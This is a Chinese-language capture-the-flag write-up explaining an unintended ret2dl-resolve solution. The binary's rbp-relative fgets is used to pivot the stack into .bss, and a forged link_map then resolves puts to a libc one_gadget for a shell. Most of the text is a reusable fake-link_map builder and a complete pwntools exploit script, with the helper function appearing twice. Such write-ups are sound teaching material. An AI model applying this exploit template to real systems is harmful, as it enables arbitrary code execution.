先上结论:非预期解利用ret2dl
题目分析

题目很简单,由于fgets遇到\0不会截断,所以那个if判断很容易绕过

问题是没有可以用的gadget,唯一能操作的就是fgets(s,4919,stdin)里面的s是根据rbp来寻址的,所以可以根据这一点打一个栈迁移

思路分析
第一次,修改rbp到bss上,这样下一次fgets时就可以输入到bss段上
第二次,向bss段上输入fake_link_map和rop链,利用ret2dl将puts函数解析为onegadget(64位可以这样操作,32位是根据函数名字符串寻址的,所以不能操作,dl具体知识有点忘了,不确定说的对不对,感兴趣可以自行查阅一下)
简单就简单在dl很模板,只需要把板子套对即可
# 传参分别为:伪造的link_map地址、在got表中存在函数地址的got地址、libc中system的地址、第二个参数对应的函数在libc中的地址
def get_ret2dl_data(fake_link_map_addr, got_solved_addr, system_base, solved_base):
offset = system_base - solved_base
fake_Elf64_Dyn = b""
fake_Elf64_Dyn += p64(0) # d_tag 从link_map中找.rel.plt不需要用到标签, 随意设置
fake_Elf64_Dyn += p64(fake_link_map_addr + 0x18) # d_ptr 指向伪造的Elf64_Rela结构体,由于reloc_offset也被控制为0,不需要伪造多个结构体
fake_Elf64_Rela = b""
fake_Elf64_Rela += p64(
fake_link_map_addr - offset) # r_offset rel_addr = l->addr+reloc_offset,
# 直接指向fake_link_map所在位置令其可读写就行,offset为指向的需要的函数距离可得真实地址的函数的偏移
fake_Elf64_Rela += p64(7) # r_info index设置为0,最后一字节必须为7
fake_Elf64_Rela += p64(0) # r_addend 随意设置
fake_Elf64_Sym = b""
fake_Elf64_Sym += p32(0) # st_name 随意设置
fake_Elf64_Sym += b'AAAA' # st_info, st_other, st_shndx st_other非0以避免进入重定位符号的分支
fake_Elf64_Sym += p64(got_solved_addr - 8) # st_value 已解析函数的got表地址-8,-8体现在汇编代码中,原因不明
fake_Elf64_Sym += p64(0) # st_size 随意设置
fake_link_map_data = b""
# 如果offset为负数使用补码
if offset < 0:
fake_link_map_data += p64(2 ** 64 + offset) # l_addr,伪造为两个函数的地址偏移值的补码(为负时)
else:
fake_link_map_data += p64(offset) # l_addr,伪造为两个函数的地址偏移值
fake_link_map_data += fake_Elf64_Dyn
fake_link_map_data += fake_Elf64_Rela
fake_link_map_data += fake_Elf64_Sym
fake_link_map_data += b'\x00' * 0x20
fake_link_map_data += p64(fake_link_map_addr) # DT_STRTAB 设置为一个可读的地址
fake_link_map_data += p64(fake_link_map_addr + 0x30) # DT_SYMTAB 指向对应结构体数组的地址
fake_link_map_data += b"/bin/sh\x00"
fake_link_map_data += b'\x01' * 0x78
fake_link_map_data += p64(fake_link_map_addr + 0x8) # DT_JMPREL 指向对应数组结构体的地址
return fake_link_map_data

第一次发送payload,目的是改变rbp,从而使下次输入到bss上

注意不要把mov rbp,rsp带上,那样就白改rbp了
这样下一次fgets就输入到了bss段上

要注意的是上面有一个0x404550,这是为了在第二次leave之后把rbp放到一个适当的位置,以满足onegadget的条件

最后link_map,r_offset通过栈传参,所以别忘了把他俩传一下,最终成功getshell

附赠完整payload
from pwnplus import *
context.arch = 'amd64'
context.log_level = 'debug'
p=mypwn('./pwn')
elf=ELF('./pwn')
libc=ELF('./libc.so.6')
# 传参分别为:伪造的link_map地址、在got表中存在函数地址的got地址、libc中system的地址、第二个参数对应的函数在libc中的地址
def get_ret2dl_data(fake_link_map_addr, got_solved_addr, system_base, solved_base):
offset = system_base - solved_base
fake_Elf64_Dyn = b""
fake_Elf64_Dyn += p64(0) # d_tag 从link_map中找.rel.plt不需要用到标签, 随意设置
fake_Elf64_Dyn += p64(fake_link_map_addr + 0x18) # d_ptr 指向伪造的Elf64_Rela结构体,由于reloc_offset也被控制为0,不需要伪造多个结构体
fake_Elf64_Rela = b""
fake_Elf64_Rela += p64(
fake_link_map_addr - offset) # r_offset rel_addr = l->addr+reloc_offset,
# 直接指向fake_link_map所在位置令其可读写就行,offset为指向的需要的函数距离可得真实地址的函数的偏移
fake_Elf64_Rela += p64(7) # r_info index设置为0,最后一字节必须为7
fake_Elf64_Rela += p64(0) # r_addend 随意设置
fake_Elf64_Sym = b""
fake_Elf64_Sym += p32(0) # st_name 随意设置
fake_Elf64_Sym += b'AAAA' # st_info, st_other, st_shndx st_other非0以避免进入重定位符号的分支
fake_Elf64_Sym += p64(got_solved_addr - 8) # st_value 已解析函数的got表地址-8,-8体现在汇编代码中,原因不明
fake_Elf64_Sym += p64(0) # st_size 随意设置
fake_link_map_data = b""
# 如果offset为负数使用补码
if offset < 0:
fake_link_map_data += p64(2 ** 64 + offset) # l_addr,伪造为两个函数的地址偏移值的补码(为负时)
else:
fake_link_map_data += p64(offset) # l_addr,伪造为两个函数的地址偏移值
fake_link_map_data += fake_Elf64_Dyn
fake_link_map_data += fake_Elf64_Rela
fake_link_map_data += fake_Elf64_Sym
fake_link_map_data += b'\x00' * 0x20
fake_link_map_data += p64(fake_link_map_addr) # DT_STRTAB 设置为一个可读的地址
fake_link_map_data += p64(fake_link_map_addr + 0x30) # DT_SYMTAB 指向对应结构体数组的地址
fake_link_map_data += b"/bin/sh\x00"
fake_link_map_data += b'\x01' * 0x78
fake_link_map_data += p64(fake_link_map_addr + 0x8) # DT_JMPREL 指向对应数组结构体的地址
return fake_link_map_data
payload1=b'\x00'*0x80+p64(0x404500+0x80)+p64(0x0000000000401247)
p.sla(b'Data: ',payload1)
fake_link_map_addr=0x4045a0
jmp_dl=0x401026
leave_ret=0x00000000004012cd
onegadget=[0x583dc,0x583e3,0xef4ce,0xef52b]
ret2dldata=get_ret2dl_data(fake_link_map_addr,elf.got['puts'],onegadget[3],libc.symbols['puts'])
payload2=b'\x00'*0x80+p64(0x404550)+p64(jmp_dl)+p64(fake_link_map_addr)+p64(0)+ret2dldata
# p.debug()
p.sla(b'Data: ',payload2)
p.ia()
有关dl的知识自行学习,了解dl的肯定一看就懂了